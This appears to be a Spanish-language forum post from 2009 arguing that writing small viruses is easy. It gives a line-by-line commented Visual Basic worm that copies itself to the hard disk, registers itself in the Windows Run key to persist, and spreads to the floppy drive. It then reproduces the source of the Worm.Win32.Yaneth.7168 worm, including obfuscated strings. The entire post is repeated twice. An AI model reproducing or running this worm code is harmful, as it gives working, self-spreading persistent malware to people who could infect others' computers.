[Discusión] Qué simple es programar un virus
Publicado: Mar Jul 07, 2009 11:01 pm
Pues no, este no es (ni pretende ser) un tutorial para crear virus
Simplemente quiero mostrar que crear "pequeños" (recalco "pequeños") virus no es tan difícil como la mayoría cree, no hace falta ser o estar al nivel de un hacker, ni aprender assembler, esta al alcance de cualquier persona que posea solo un poco de imaginación y algunas nociones de programación
para eso les hice en visual basic este pequeño gusano inspirado en Worm.Win32.Yaneth.7168.
Private Sub Form_Load()
virus = App.EXEName + ".exe"
rem explicación: el nombre que posee el programa lo toma la variable "virus"
On Error Resume Next
rem explicacion: si ocurre un error continua en la siguiente linea
FileCopy virus, "C:\virus.exe"
rem explicación: copia el virus al disco rígido
Set virus = CreateObject("WScript.Shell") virus.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\virus", C
rem explicación: pone el virus en el registro para que se inicie con windows
Do
If Minute(Now) = 0 And Second(Now) = 0 Then FileCopy virus, "A:\virus.exe"
Loop
rem explicación: cada determinado tiempo se copia al disquete
End Sub
lo que quiero que noten es la simpleza del código
creo que cualquier persona con algún conocimiento de ingles se daría cuenta lo que significa esta línea
If Minute(Now) = 0 And Second(Now) = 0 Then FileCopy virus, "A:\virus.exe"
traducido seria
Si minuto actual = 0 y a su vez segundo actual = 0 entonces copiar el virus al disquete
(los que tienen pen drives seguramente les resultara familiar)
como verán, "prácticamente" la programación de bichos esta al alcance de cualquiera que posea un poco de ingenio como para valerse de sus herramientas.
supongo que es por ese motivo que abundan estos "gusanitos" tan "simpáticos" y con tan mala calidad de programación.
de todos modos, siempre hay oportunidad de toparse con algún virus "brillante"
nota: no me critiquen el bucle, queda mejor con un "timer" pero para evitar insertar objetos pensé que quedaría bien con do:loop
aqui les dejo el Worm.Win32.Yaneth.7168. que saque de http://v43l.iespana.es/zona%20hacker/tu ... %20vb.html
'\^fibsoZ'e~'Lrftfif`rn(@BC]FD
'lrftfif`rnGuhdlbuht)dhj
'@rtfih'cb'cntvrbsbt'bwbunjbisfk)
'Thkh'wfuf'anibt'cncfdsndht)
'Jfibmbtb'dhi'drncfch)
'Kribt '50'cb'Bibuh'cb'5774
Private Sub Form_Load()
A = App.EXEName
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C
Set Yanet = CreateObject("WScript.Shell") Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC]FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub
Simplemente quiero mostrar que crear "pequeños" (recalco "pequeños") virus no es tan difícil como la mayoría cree, no hace falta ser o estar al nivel de un hacker, ni aprender assembler, esta al alcance de cualquier persona que posea solo un poco de imaginación y algunas nociones de programación
para eso les hice en visual basic este pequeño gusano inspirado en Worm.Win32.Yaneth.7168.
Private Sub Form_Load()
virus = App.EXEName + ".exe"
rem explicación: el nombre que posee el programa lo toma la variable "virus"
On Error Resume Next
rem explicacion: si ocurre un error continua en la siguiente linea
FileCopy virus, "C:\virus.exe"
rem explicación: copia el virus al disco rígido
Set virus = CreateObject("WScript.Shell") virus.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\virus", C
rem explicación: pone el virus en el registro para que se inicie con windows
Do
If Minute(Now) = 0 And Second(Now) = 0 Then FileCopy virus, "A:\virus.exe"
Loop
rem explicación: cada determinado tiempo se copia al disquete
End Sub
lo que quiero que noten es la simpleza del código
creo que cualquier persona con algún conocimiento de ingles se daría cuenta lo que significa esta línea
If Minute(Now) = 0 And Second(Now) = 0 Then FileCopy virus, "A:\virus.exe"
traducido seria
Si minuto actual = 0 y a su vez segundo actual = 0 entonces copiar el virus al disquete
(los que tienen pen drives seguramente les resultara familiar)
como verán, "prácticamente" la programación de bichos esta al alcance de cualquiera que posea un poco de ingenio como para valerse de sus herramientas.
supongo que es por ese motivo que abundan estos "gusanitos" tan "simpáticos" y con tan mala calidad de programación.
de todos modos, siempre hay oportunidad de toparse con algún virus "brillante"
nota: no me critiquen el bucle, queda mejor con un "timer" pero para evitar insertar objetos pensé que quedaría bien con do:loop
aqui les dejo el Worm.Win32.Yaneth.7168. que saque de http://v43l.iespana.es/zona%20hacker/tu ... %20vb.html
'\^fibsoZ'e~'Lrftfif`rn(@BC]FD
'lrftfif`rnGuhdlbuht)dhj
'@rtfih'cb'cntvrbsbt'bwbunjbisfk)
'Thkh'wfuf'anibt'cncfdsndht)
'Jfibmbtb'dhi'drncfch)
'Kribt '50'cb'Bibuh'cb'5774
Private Sub Form_Load()
A = App.EXEName
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C
Set Yanet = CreateObject("WScript.Shell") Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC]FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub